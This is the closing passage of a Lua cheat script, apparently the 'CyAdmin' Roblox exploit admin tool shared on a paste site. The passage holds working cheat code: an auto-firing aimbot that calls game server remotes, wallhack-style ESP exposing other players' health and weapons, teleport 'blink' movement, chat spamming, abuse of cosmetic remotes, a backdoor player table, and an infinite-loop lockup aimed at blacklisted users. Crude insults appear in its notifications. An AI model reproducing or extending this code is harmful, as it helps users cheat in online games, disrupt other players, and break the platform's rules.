  2966. DmgIndicator.Font = Enum.Font.Code
  2967. DmgIndicator.TextColor3 = Color3.fromRGB(184,0,3)
  2968. DmgIndicator.TextScaled = true
  2969. DmgIndicator.TextSize = 30
  2970. DmgIndicator.TextWrapped = true
  2971. DmgIndicator.Visible = false
  2972.  
  2973. -- Hotkeys GUI --
  2974.  
  2975. KeysFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2976. KeysFrame.BackgroundTransparency = 0.6
  2977. KeysFrame.BorderColor3 = Color3.fromRGB(170,0,0)
  2978. KeysFrame.BorderSizePixel = 0
  2979. KeysFrame.Position = UDim2.new(0.5,0,0.5,0)
  2980. KeysFrame.AnchorPoint = Vector2.new(0.5,0.5)
  2981. KeysFrame.Size = UDim2.new(0,218,0,154)
  2982. KeysFrame.Visible = false
  2983.  
  2984. AnyCmdButton.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2985. AnyCmdButton.BackgroundTransparency = 0.7
  2986. AnyCmdButton.BorderColor3 = Color3.fromRGB(170,0,0)
  2987. AnyCmdButton.Position = UDim2.new(0.17,0,0.43,0)
  2988. AnyCmdButton.Size = UDim2.new(0,49,0,49)
  2989. AnyCmdButton.Font = Enum.Font.SourceSans
  2990. AnyCmdButton.TextColor3 = Color3.fromRGB(255,255,255)
  2991. AnyCmdButton.TextSize = 13
  2992. AnyCmdButton.TextWrapped = true
  2993. AnyCmdButton.Text = "Type a command then click"
  2994.  
  2995. KeysLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2996. KeysLabel.BackgroundTransparency = 0.3
  2997. KeysLabel.BorderColor3 = Color3.fromRGB(170,0,0)
  2998. KeysLabel.Position = UDim2.new(0.004,0,-0.3,0)
  2999. KeysLabel.Size = UDim2.new(0,217,0,50)
  3000. KeysLabel.Font = Enum.Font.SciFi
  3001. KeysLabel.Text = "Keys GUI"
  3002. KeysLabel.TextColor3 = Color3.fromRGB(214,0,0)
  3003. KeysLabel.TextSize = 50
  3004.  
  3005. CmdBarKeyLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3006. CmdBarKeyLabel.BackgroundTransparency = 0.6
  3007. CmdBarKeyLabel.BorderColor3 = Color3.fromRGB(0,0,127)
  3008. CmdBarKeyLabel.Position = UDim2.new(0.6,0,0.07,0)
  3009. CmdBarKeyLabel.Size = UDim2.new(0,50,0,44)
  3010. CmdBarKeyLabel.Font = Enum.Font.Fantasy
  3011. CmdBarKeyLabel.Text = "CmdBar Key"
  3012. CmdBarKeyLabel.TextColor3 = Color3.fromRGB(255,255,255)
  3013. CmdBarKeyLabel.TextSize = 11
  3014. CmdBarKeyLabel.TextWrapped = true
  3015.  
  3016. CmdBarKeyButton.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3017. CmdBarKeyButton.BackgroundTransparency = 0.7
  3018. CmdBarKeyButton.BorderColor3 = Color3.fromRGB(170,0,0)
  3019. CmdBarKeyButton.Position = UDim2.new(0.6,0,0.43,0)
  3020. CmdBarKeyButton.Size = UDim2.new(0,49,0,49)
  3021. CmdBarKeyButton.Font = Enum.Font.SourceSans
  3022. CmdBarKeyButton.Text = "Click then press a key"
  3023. CmdBarKeyButton.TextColor3 = Color3.fromRGB(255,255,255)
  3024. CmdBarKeyButton.TextSize = 13
  3025. CmdBarKeyButton.TextWrapped = true
  3026.  
  3027. AnyCmdTextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
  3028. AnyCmdTextBox.BackgroundTransparency = 0.6
  3029. AnyCmdTextBox.BorderColor3 = Color3.fromRGB(0,0,127)
  3030. AnyCmdTextBox.Position = UDim2.new(0.17,0,0.07,0)
  3031. AnyCmdTextBox.Size = UDim2.new(0,50,0,44)
  3032. AnyCmdTextBox.Font = Enum.Font.Fantasy
  3033. AnyCmdTextBox.PlaceholderColor3 = Color3.fromRGB(255,255,255)
  3034. AnyCmdTextBox.PlaceholderText = "CmdToSet"
  3035. AnyCmdTextBox.Text = ""
  3036. AnyCmdTextBox.TextColor3 = Color3.fromRGB(255,255,255)
  3037. AnyCmdTextBox.TextSize = 11
  3038. AnyCmdTextBox.TextWrapped = true
  3039. dragGUI(KeysFrame,KeysFrame)
  3040. end))
  3041.  
  3042. --[[ End ]] --
  3043.  
  3044. --[[ Loops ]] --
  3045.  
  3046. coroutine.resume(coroutine.create(function()
  3047. local FileDir,isFolder,makeFolder = syn_io_listdir or list_files,syn_io_isfolder or isfolder,syn_io_makefolder or makefolder
  3048. if FileDir and isFolder and makeFolder then
  3049. if not isFolder'CyAdminPlugins' then
  3050. makeFolder('CyAdminPlugins')
  3051. end
  3052. for _,v in pairs(FileDir'CyAdminPlugins') do
  3053. local WorkingFile = loadfile(v)
  3054. if not WorkingFile then
  3055. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("There was a syntax error (sadly can\'t output it as loadfile is gay)","All")
  3056. else
  3057. local Work,Error = pcall(WorkingFile)
  3058. if not Work then
  3059. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Runtime Error"..Error,"All")
  3060. end
  3061. end
  3062. end
  3063. end
  3064. CmdsLabel.Text = "Commands | Total Commands: "..#Commands
  3065. for i = 1,#Commands do
  3066. local Command = Commands[i]
  3067. local Name,Args,Alias,Help = Command.Name,Command.Args,Command.Alias,Command.Help
  3068. createCmd(UDim2.new(0.0008,0,0.002,-35 + (i * 29)),Name,Help)
  3069. coroutine.resume(coroutine.create(function() createCommandBarCmd(Name,Args) end))
  3070. coroutine.resume(coroutine.create(function()
  3071. for i = 1,#Alias do
  3072. createCommandBarCmd("[Alias] "..Alias[i],Args)
  3073. end
  3074. end))
  3075. end
  3076. while wait() do
  3077. local Character = GetChar()
  3078. coroutine.resume(coroutine.create(function()
  3079. --[[if Character and Character:FindFirstChildOfClass'Humanoid'then
  3080. if workspace.Gravity < NormalGravity then
  3081. if game.PlaceId == 455366377 and not Character:FindFirstChild'RealHumanoidRootPart' then
  3082. Character.Humanoid:ChangeState(3)
  3083. Character.Humanoid.PlatformStand = false
  3084. wait(0.2)
  3085. end
  3086. Character.Humanoid:ChangeState(8)
  3087. end
  3088. if game.PlaceId == 455366377 then
  3089. if Character.Humanoid.HipHeight > 0 or AirwalkOn and not Flying then
  3090. Character.Humanoid:ChangeState(3)
  3091. Character.Humanoid.PlatformStand = false
  3092. RunService.RenderStepped:Wait()
  3093. Character.Humanoid:ChangeState(8)
  3094. wait(2)
  3095. end
  3096. end
  3097. end]]
  3098. local StartPing = tick()
  3099. ReplicatedStorage.DefaultChatSystemChatEvents.MutePlayerRequest:InvokeServer()
  3100. PlayersPing = (tick() - StartPing)
  3101. end))
  3102. local Tool = Character:FindFirstChildOfClass'Tool'
  3103. if AimbotAutoShoot and AimlockTarget and Tool and Tool:FindFirstChild('Clips',true) and AimlockTarget:FindFirstChildOfClass'Humanoid' and AimlockTarget.Humanoid.Health > 0 and not AimlockTarget:FindFirstChildOfClass'ForceField' then
  3104. if not BehindAWall(AimlockTarget) and HasItem(Players:GetPlayerFromCharacter(AimlockTarget),"Bone") ~= "Yes" then
  3105. if AimlockTarget:FindFirstChild'Head' and Character:FindFirstChild'Head' and (AimlockTarget.Head.Position - Character.Head.Position).magnitude <= EstimatedGunRanges[Tool.Name] then
  3106. if game.PlaceId == 455366377 then
  3107. LP.Backpack.Input:FireServer("m1",{
  3108. ['mousehit'] = AimbotToCFrame();
  3109. ['shift'] = UserInput:IsKeyDown(Enum.KeyCode.LeftShift);
  3110. ['velo'] = Character.Head.Velocity.magnitude;
  3111. })
  3112. else
  3113. Tool.Fire:FireServer(AimbotToCFrame())
  3114. end
  3115. end
  3116. end
  3117. end
  3118. if Character:FindFirstChildOfClass'Humanoid' then
  3119. if Tool and Tool:FindFirstChild'Ammo' then
  3120. ValuesTextLabel.Text = "Health: "..math.floor(Character.Humanoid.Health).."\nCurrent WalkSpeed: "..math.floor(Character.Humanoid.WalkSpeed).."\nSprinting Speed: "..SprintSpeed.."\nCrouching Speed: "..CrouchSpeed.."\nBlink Speed: "..BlinkSpeed.."\nJumpPower: "..Character.Humanoid.JumpPower.."\nNoclipping: "..tostring(Noclip).."\nAimlocking: "..tostring(Aimlock).."\nAimlock Target: "..tostring(AimlockTarget).."\n"..Tool.Name.." Ammo&Clips: "..Tool.Ammo.Value.."/"..Tool.Clips.Value
  3121. else
  3122. ValuesTextLabel.Text = "Health: "..math.floor(Character.Humanoid.Health).."\nCurrent WalkSpeed: "..math.floor(Character.Humanoid.WalkSpeed).."\nSprinting Speed: "..SprintSpeed.."\nCrouching Speed: "..CrouchSpeed.."\nBlink Speed: "..BlinkSpeed.."\nJumpPower: "..Character.Humanoid.JumpPower.."\nNoclipping: "..tostring(Noclip).."\nAimlocking: "..tostring(Aimlock).."\nAimlock Target: "..tostring(AimlockTarget)
  3123. end
  3124. end
  3125. if AimlockTarget and AimlockTarget:FindFirstChild'Torso' then
  3126. if AimlockTargetPosition then
  3127. local Magnitude = (AimlockTargetPosition - AimlockTarget.Torso.Position).magnitude / AimbotVelocity
  3128. if Magnitude > 1 then
  3129. NewPredictionVelocity = Magnitude
  3130. else
  3131. NewPredictionVelocity = 5
  3132. end
  3133. AimlockTargetPosition = AimlockTarget.Torso.Position
  3134. else
  3135. AimlockTargetPosition = AimlockTarget.Torso.Position
  3136. end
  3137. end
  3138. if GravGunBodyPosition then
  3139. GravGunBodyPosition.Position = GravGunTool.Handle.Position + CFrame.new(GravGunTool.Handle.Position,Mouse.Hit.p).lookVector * GravGunDistance
  3140. end
  3141. if RainbowFrame.Visible then
  3142. RainbowLabel.TextColor3 = Color3.fromRGB(math.random(1,255),math.random(1,255),math.random(1,255))
  3143. end
  3144. if LP.Character then
  3145. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  3146. if PartFound and Blinking and KeyTable['Shift'] then
  3147. if KeyTable['W'] then
  3148. PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,-BlinkSpeed)
  3149. end
  3150. if KeyTable['A'] then
  3151. PartFound.CFrame = PartFound.CFrame * CFrame.new(-BlinkSpeed,0,0)
  3152. end
  3153. if KeyTable['S'] then
  3154. PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,BlinkSpeed)
  3155. end
  3156. if KeyTable['D'] then
  3157. PartFound.CFrame = PartFound.CFrame * CFrame.new(BlinkSpeed,0,0)
  3158. end
  3159. end
  3160. end
  3161. for i = 1,#EspTable do
  3162. local Table = EspTable[i]
  3163. local Player = Table['Player']
  3164. if Player and Player.Character then
  3165. local Head,Torso = Player.Character:FindFirstChild'Head',Player.Character:FindFirstChild'RealHumanoidRootPart' or Player.Character:FindFirstChild'Torso'
  3166. if Head and Torso and Character:FindFirstChild'Head' then
  3167. local Pos,OnScreen = WorldToViewportPoint(Head.Position)
  3168. local SizeForBox = Vector3.new(2,3,0) * ((Head.Size.Y / 2) * 2)
  3169. local TopLeft = WorldToViewportPoint((Torso.CFrame * CFrame.new(SizeForBox.X,SizeForBox.Y,0)).p)
  3170. local TopRight = WorldToViewportPoint((Torso.CFrame * CFrame.new(-SizeForBox.X,SizeForBox.Y,0)).p)
  3171. local BottomLeft = WorldToViewportPoint((Torso.CFrame * CFrame.new(SizeForBox.X,-SizeForBox.Y,0)).p)
  3172. local BottomRight = WorldToViewportPoint((Torso.CFrame * CFrame.new(-SizeForBox.X,-SizeForBox.Y,0)).p)
  3173. ShowOrHideEsp(Table,OnScreen,Player)
  3174. local User = AdminUserTable[Player] and "Yes" or "No"
  3175. Table['Text'].Text = Player.Name.." | Health: "..checkHp(Player.Character).." | KO'ed: "..HasItem(Player,"Bone").." | Pos: "..math.floor((Character.Head.Position - Head.Position).magnitude).."\nHas Glock: "..HasItem(Player,"Glock").." | Shotty: "..HasItem(Player,"Shotty").." | Vest: "..HasItem(Player,"BulletResist").."\nCyAdmin User: "..User
  3176. Table['Text'].Position = Vector2.new(Pos.X,Pos.Y) + Vector2.new(0,10)
  3177. Table['Box'][1].From = Vector2.new(TopLeft.X,TopLeft.Y)
  3178. Table['Box'][1].To = Vector2.new(TopRight.X,TopRight.Y)
  3179. Table['Box'][2].From = Vector2.new(TopRight.X,TopRight.Y)
  3180. Table['Box'][2].To = Vector2.new(BottomRight.X,BottomRight.Y)
  3181. Table['Box'][3].From = Vector2.new(BottomLeft.X,BottomLeft.Y)
  3182. Table['Box'][3].To = Vector2.new(TopLeft.X,TopLeft.Y)
  3183. end
  3184. end
  3185. end
  3186. end
  3187. end))
  3188.  
  3189. coroutine.resume(coroutine.create(function()
  3190. while wait(1) do
  3191. if CmdBarKey == "Quote" then
  3192. HotkeysTextLabel.Text = "Open Command Bar: '".."\nGunStomp: E"
  3193. else
  3194. HotkeysTextLabel.Text = "Open Command Bar: "..CmdBarKey.."\nGunStomp: E"
  3195. end
  3196. for i,v in pairs(Keys) do HotkeysTextLabel.Text = HotkeysTextLabel.Text.."\n"..v:match'^[%w%s]+'..": "..v:match'[%a%d]+$' end
  3197. if ExploiterDetectionOn then
  3198. local PlayerT = Players:GetPlayers()
  3199. for i = 1,#PlayerT do
  3200. local Player = PlayerT[i]
  3201. if Player ~= LP and Player.Character and Player.Character:FindFirstChild'Head' then
  3202. if Player.Character:FindFirstChild'Humanoid' and Player.Character:findFirstChild'Right Arm' then
  3203. if ExploitDetectionPlayerTablePositions[Player.Name] then
  3204. local Pos1 = Player.Character.Head.Velocity
  3205. local Pos2 = ExploitDetectionPlayerTablePositions[Player.Name]
  3206. if not Player.Character.Head:FindFirstChildOfClass'BillboardGui' and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild('Bone',true) and not Player.Character:FindFirstChildOfClass'ForceField' then
  3207. if (Vector3.new(Pos1.X,0,0) - Vector3.new(Pos2.X,0,0)).magnitude >= 85 or (Vector3.new(0,0,Pos1.Z) - Vector3.new(0,0,Pos2.Z)).magnitude >= 85 then
  3208. Esp(Player.Character.Head,"Exploiter: "..Player.Name.." Reason: moved too fast",Color3.fromRGB(255,255,255))
  3209. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3210. else
  3211. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3212. end
  3213. end
  3214. else
  3215. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3216. end
  3217. else
  3218. if not Player.Character.Head:FindFirstChildOfClass'BillboardGui' and Player.Character:FindFirstChildOfClass'Tool' then
  3219. Esp(Player.character.Head,"Exploiter: "..Player.Name.." Reason: Feloop/Anti Feloop",Color3.fromRGB(255,255,255))
  3220. end
  3221. end
  3222. end
  3223. end
  3224. end
  3225. if #WireFrameTable > 0 then
  3226. for i,v in pairs(WireFrameTable) do
  3227. local Pos,OnScreen = workspace.CurrentCamera:WorldToViewportPoint(v[2].Position)
  3228. v[1].Visible = OnScreen
  3229. end
  3230. end
  3231. end
  3232. end))
  3233.  
  3234. coroutine.resume(coroutine.create(function()
  3235. for i,Player in pairs(Players:GetPlayers()) do
  3236. local Backdoor = BackDoorTablePlayers[Player.UserId]
  3237. local Blacklist = BlacklistTable[Player.UserId]
  3238. if (Blacklist or Player:IsInGroup(5152759) or string.find(Player.Name:lower(),"lynx")) and Player.character and Player.Character:FindFirstChild'Head' then
  3239. Esp(Player.Character.Head,Player.Name,Color3.fromRGB(102,51,0),true)
  3240. Player.CharacterAdded:Connect(function(C)
  3241. local Head = C:WaitForChild'Head'
  3242. if Head then
  3243. Esp(Head,Player.Name,Color3.fromRGB(102,51,0),true)
  3244. end
  3245. end)
  3246. end
  3247. if Backdoor and Player.Character and Player.Character:FindFirstChild'Head' then
  3248. Player.Chatted:Connect(function(Chat) BackdoorCheck(Player,Chat) end)
  3249. Esp(Player.Character.Head,Backdoor['Name'],Backdoor['Colour'])
  3250. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  3251. Player.CharacterAdded:Connect(function(C)
  3252. local Head = C:WaitForChild'Head'
  3253. if Head then
  3254. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  3255. Esp(Head,Backdoor['Name'],Backdoor['Colour'])
  3256. end
  3257. end)
  3258. end
  3259. local Chatted;Chatted = Player.Chatted:Connect(function(Chat)
  3260. local User = IsAUser(Player,Chat)
  3261. if User then
  3262. Chatted:Disconnect()
  3263. end
  3264. end)
  3265. end
  3266. coroutine.resume(coroutine.create(function()
  3267. while wait(SpamDelay) do
  3268. if Spamming then
  3269. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(SpamMessage,"All")
  3270. end
  3271. end
  3272. end))
  3273. while wait(Rainbowdelay) do
  3274. if RainbowHats and LP.Backpack:FindFirstChild'Stank' then
  3275. if RainbowHats == "All" then
  3276. local HatTable = LP.PlayerGui.HUD.Clan.Group.Reps:GetChildren()
  3277. LP.Backpack.Stank:FireServer("rep",HatTable[math.random(1,#HatTable)])
  3278. end
  3279. local ColourTable = LP.PlayerGui.HUD.Clan.Group.cs:GetChildren()
  3280. LP.Backpack.Stank:FireServer("color",ColourTable[math.random(1,#ColourTable)])
  3281. end
  3282. end
  3283. end))
  3284.  
  3285. -- [[ End ]] --
  3286.  
  3287. notif("hey toby suck my dick","took " .. string.format("%.6f",tick()-Tick) .. " seconds\n(Discord: nXcZH36)",10,"rbxassetid://2474242690") -- string.format remains superior - Slays.
  3288. notif("Newest Update","forgot I had this antiaim method lol",10,nil)
  3289.  
  3290. if LP:IsInGroup(5152759) or string.find(LP.Name:lower(),"lynx") or BlacklistTable[LP.UserId] then
  3291. while true do end
  3292. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement